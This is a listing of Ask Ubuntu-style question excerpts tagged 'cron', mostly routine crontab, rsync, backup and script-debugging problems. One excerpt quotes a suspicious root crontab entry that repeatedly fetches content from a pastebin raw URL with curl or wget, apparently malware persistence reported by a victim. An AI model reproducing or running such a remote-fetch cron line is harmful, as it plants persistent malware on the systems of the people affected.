Questions tagged [cron]

Cron is used to execute scheduled commands. It acts as a task scheduler on Linux and UNIX systems which will execute commands at specified times set by the user. Cron has a great deal of customization and is often used on server environments where common tasks are run on a regular basis.

Filter by
Sorted by
Tagged with
0
votes
0answers
25 views

Unexpected output from cronjob

I want to run a python script every minute. On running this, */1 * * * * $(which python) /home/ec2-user/abc/send.py >> /home/ec2-user/abc/cron.log Am getting this as the output in cron log, ...
0
votes
0answers
21 views

I think my server has become part of a botnet, but ClamAV can't find anything

I know virtually nothing about Ubuntu so please be gentle. Recently my server host has contacted me saying they suspect my server is part of a botnet, specifically one that probes TCP ports. They've ...
0
votes
0answers
14 views

Duplicity works with run-parts but not in anacron

I am working to set up backups from my computer to Google Cloud Storage using duplicity. I used gsutil to create a ~/.boto configuration file, and created a simple bash script that includes a call to ...
-1
votes
1answer
31 views

Is there a way to know if transmission-daemon currently active?

I have a laptop that i use as a media station connected to my TV, occasionally i would fall a sleep and forget to shutdown the laptop and that is unwanted behavior. so i use crontabs to shutdown my ...
-1
votes
0answers
11 views

Moodle 3.3.9 is not sending emails. Is moodle cron not working?

My Moodle 3.3.9 is not sending emails. Is moodle cron not working? Or what else may be causing this problem? (The server is ubuntu.)
0
votes
1answer
69 views

Ubuntu Server 16.04 unusual crontab entry

Good day to all, I have this crontab entry in the root user of our Ubuntu Server 16.04 VM. */11 * * * * (curl -fsSL https://pastebin.com/raw/9QVpd02i||wget -q -O- https://pastebin.com/raw/9QVpd02i||...
0
votes
1answer
50 views

i have removed my crontab how to recover it

I made a mistake by issuing crontab - r command and then the crontab was removed. Now, when I type crontab -l it is showing no crontab for root. Can anyone please help me with this to restore the ...
1
vote
0answers
30 views

Create a Cron File on Ubuntu

I am trying to create a .txt file via Cron in Ubuntu, but I have no error errors nor is the file created. I am editing or archiving the file inside / etc with the following command line: '* * * * * ...
3
votes
0answers
43 views

When is update-apt-xapian-index scheduled to run?

OS: Kubuntu 18.04.3 $ update-apt-xapian-index --version update-apt-xapian-index 0.47 $ /etc/cron.weekly has apt-xapian-index. None of the other cron-related folders in /etc have apt-xapian-index or ...
5
votes
1answer
157 views

Lubuntu, running script on boot

I'm using Lubuntu 19.04 with LXQt I'm trying to remap the Caps-Lock and Escape keys. I have found the commands I needed to make that happen and I've made an executable script for them. If I run the ...
1
vote
0answers
36 views

Cron job not creating snapshots

I have a cron job set up in my crontab which is set to fire a snapshot every first minute of an hour. When I see the cron logs I can see that it triggered the task but I do not see the snapshots in ...
0
votes
1answer
66 views

Cron job not working (CURL)

I have a server using Linux 19.04 First I did: nano /etc/crontab The below things were already in the file SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom ...
0
votes
2answers
164 views

running a backup script after dropbox has updated

running: Ubuntu 18.04 (gnome) (also installed xfce4 package, if that matters) cron version: 3.0pl1-128.1ubuntu1 on: amd64 updates: all ...
1
vote
0answers
45 views

Scheduling artisan command based on condition in crontab

I have several artisan commands. The command will send emails (newsletter) to users who have subscribed to my site whenever there are new announcement(s) or tender(s) posted in my site. So my ...
0
votes
0answers
17 views

CRON job not running - Python Script [duplicate]

I'm trying to run a Python script every hour although it doesn't seem to be executing. The command in crontab -e is: 0 * * * * /usr/bin/python3 /home/ubuntu/Python_Script/main.py 2>&1 /tmp/...
0
votes
0answers
90 views

Thousand of session (sess_*) files in tmp directory

I have 3 VPS with similar setup that hold news/blogging wordpress websites. In 2 of them i keep getting thousand sess_* files in /home/user/tmp directory. I had to set a cron job to delete these ...
1
vote
1answer
36 views

lynx: relocation error

Trying to run cron jobs with lynx fails. I get this error: lynx: relocation error: /usr/lib/x86_64-linux-gnu/libgnutls.so.30: symbol _idn2_punycode_decode version IDN2_0.0.0 not defined in file ...
0
votes
0answers
37 views

sshpass not working with cron with Cisco IOSXR

Please help me out here , this simple script here ssh into cisco IOSXR device and put a command then return result to file, When i run it in terminal all ok , But when put it in cron it fails : ...
0
votes
1answer
36 views

Why won't this command run in cron?

I have this command echo "$(date +"%T") $(sensors | grep -Eo "[0-9]+\.[0-9]+" | head -1)" >> /home/me/temp_log.txt that gets some sensor data and puts it into a file and I want to run it ...
0
votes
0answers
27 views

crontab execute a command after boot

I'm trying to set up the wake on lan on my pc but every time I boot it the wol support (sudo ethtool -s enp2s0 wol g) just resets, I've tried to run a command in crontab (@reboot ethtool -s enp2s0 wol ...
0
votes
1answer
56 views

Rsync will not work in crontab

Sorry if this is long, I wanted to get as much information in as possible. I am running an odroid c2 with Ubuntu MATE 18.04.3 as a home NAS with two 6TB drives. I have been trying to mirror them using ...
0
votes
1answer
90 views

How to avoid restarting nginx to renew letsencrypt certificate?

I have installed a Nginx server to host my website, and added HTTPS with LetsEncrypt. The problem is every time the certificate expire, my site become inaccessible and I need to manually restart the ...
1
vote
1answer
52 views

How can I get my script to change my background?

I'm trying to get a custom script to run, it does a basic job of switching randomly my wallpapers depending on the time of day from two folders, one folder has "day" wallpapers and the other has "...
0
votes
0answers
27 views

Cron, not working [duplicate]

Issue I have this cronjob. 5 12 * * * find /var/www/html -name "*.php" -o -name "*.htm*" -o -name "*.css" | tar -cf /var/www/export/$(date +"%m-%d-%Y")-backup-fs.tar.gz -T - But it is not working, ...
0
votes
0answers
17 views

Startup script in crontab doesn't work on reboot

On system reboot init 6 I would like to start my services for my rails project the script contains pull changes from git, run bundle install and run delayed job workers The script is in /etc/init.d/...
0
votes
0answers
106 views

Multiple Processes getting stopped with error “Resource temporarily unavailable” and “can't fork” resulting in crash

We are running a script on Dell Edge gateway 3002 to send data to cloud, but after running for 4-5 days the gateway becomes unresponsive(hanged state) and can't be pinged. The gateway has Ubuntu 18....
0
votes
0answers
13 views

Notify-send not working in crontab (Ubuntu) [duplicate]

I have created following command in the crontab but it won't work: * * * * * env DISPLAY=:0 notify-send "title" "message" Note that I am not logged in as root!
0
votes
1answer
80 views

Command not found in Crontab [duplicate]

I am new with Crontab and Linux. I am trying to schedule this following command line instruction in Crontab: speedtest-cli --csv &>> /home/pi/speedtestLog.txt I am trying doing it: */1 * ...
1
vote
2answers
122 views

Write $(date) Into File Using Cron and Bash Shell Script

Ubuntu 18.04 running as guest on MacOS 10.14.3. Hypervisor: VMWare Fusion 10 Objective: Every minute, append the date/time into a file Status: Script runs every minute, inserting a blank new line ...
0
votes
1answer
94 views

Long running rsync script + cron

I have a simple bash script that executes a rsync command to sync a large number of files (4TB+) from a remote server to my local machine. Using crontab -e I have set up a schedule for this script to ...
0
votes
1answer
25 views

Crontab not running my shell script

For some reason my crontab is not running my shell script, the shell sends me an email when disk space is full. This is my script #!/bin/bash CURRENT=$(df / | grep / | awk '{ print $5}' | sed 's/%//g'...
1
vote
1answer
281 views

Ubuntu 18.04 on WSL cron daemon not running after reboot

I have Ubuntu 18.04.1 LTS running under Windows 10 Pro. After every reboot, the cron daemon is not started. I can start it manually with sudo service cron start. What can I configure or what system ...
0
votes
0answers
28 views

Running a python script via crontab - script is running but missing from ps

I placed a python task in etc/crontab to run every minute: * * * * * myuser python3 /home/myuser/Ares/Check_to_Restore.py >> /home/myuser/Check_log.txt The script is a wrapper that calls ...
0
votes
0answers
51 views

How do I schedule Python script function with arguments using Crontab?

Here we go, I would like to schedule this command using crontab. python3 -c 'import transactions; transactions.updateTransactions(1,1,1)' The file is located in: $ ~/home/pi/Public/pythonScripts/ I ...
1
vote
0answers
34 views

Why rsync doesn't work as a schedule cron task?

I am running this command from terminal and it works well. Files ares uploaded to the remote server without having to type any password. rsync -avz -e "ssh -i /home/me/.ssh/id_rsa.pub" --delete /home/...
0
votes
1answer
44 views

How to drop a table within a database in a single line, scheduled from crontab?

I am trying to drop an entire table within a database. My intention is simple, and I wish for this to happen occasionally through a scheduled crontab command. For now, I have this example cronjob ...
0
votes
0answers
33 views

Cron, unusual time set

What I need. I need to run cron like this. 8,18,28,38,48,58 8-21 * * * script Everyday from 8 to 22 by 10 minutes at 8 minutes started, but without first launch, at 8:08 am. Is any elegant ...
0
votes
0answers
24 views

cron @reboot ubuntu ldap dependency

Question: Users can configure cronjobs @reboot, but the cron environment is not ready for users at boot time. How can cron be forced to run only after the system is ready for users on Ubuntu? On a ...
21
votes
3answers
3k views

Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS Server

I keep getting weir cron jobs showing up and I have no clue what they do. I typically issue kill -9 to stop them. They take up 100% of my CPU and can run for days until I check. Does anyone know what ...
1
vote
1answer
41 views

Why doesn't sudo crontab work but crontab works?

I want to execute a ruby script containing sudo commands. If I enter this command in " crontab -e ", it works fine: * * * * * /usr/bin/ruby ~/myfolder/test.rb >> ~/myfolder/mylog.log 2>&...
1
vote
0answers
61 views

syslog-ng leaving empty log files after rotation

Let me start by saying I am new to syslog-ng and logrotation and am doing this at home to learn. I have log files that are being sent to my syslog server from my router and are logging no problem ...
0
votes
0answers
57 views

Crontab job is failing and I dont know why

I set up a script to update my computer and it is set up to run hourly but when I check the status of the cron job it shows the jobs are failing and I don't know why. Below is the shell script #!/...
2
votes
2answers
148 views

Can we disable cron services in desktop?

I was reading about EvilGnome and how it hijacks a system. One of the interesting thing I read was how it uses crontab The Linux implant also gains persistence on a targeted system using crontab, ...
1
vote
1answer
90 views

“Command not Found” Errors when Sourcing my Env

I keep a good copy of my env in a file /root/.env which I import when I use cron jobs because I use them to run Expect Scripts which won't run without TERM and a few others(?). I do so as such: set -o ...
1
vote
1answer
117 views

List what a CRON Job is doing

I have a list of cron jobs that i can see when I type htop in at the cli. These jobs have been running for about 3 hours at 100% cpu and i have no clue what they are or what they are doing. They are ...
1
vote
1answer
113 views

Crontab does not execute command to lock screen

Script lck.sh checks for presence of file_name.txt , removes the file and locks the screen. This works perfectly when the script is run from terminal. FILE=/path_to_file/file_name.txt if test -f "$...
1
vote
1answer
77 views

Run a php or py script once at a unique dynamic wanted time

I have a small bot currently written in php but i can switch to py if need be. It basically gathers data from an api about tasks that need to be ran only once in order to be updated the next day at ...
1
vote
1answer
54 views

Why Cronjob doesn't work in Ubuntu 18.04?

My cronjob doesn't work in Ubuntu Server 18.04. Can someone help me? Here is my cron code: #This code doesn't run * * * * * root sh /home/jaka/scripts/serviceChecker.sh #I have try this below but ...
0
votes
0answers
20 views

Cron to report time at whole hour [duplicate]

I wrote three report_time to cron jobs ## Report time */1 6-23 * * * /home/me/Music/src/report_time.py &> /dev/null ## Report time 2 */1 6-23 * * * cvlc /home/me/Music/audio/bell.wav &&...
2
votes
1answer
62 views

How long does at(1) wait for a scheduled task to complete?

Say one scheduled a task with at 11pm on Friday > long-running-command Ctrl-D How long can the long-running command run? Will the at daemon force termination after a certain amount of time?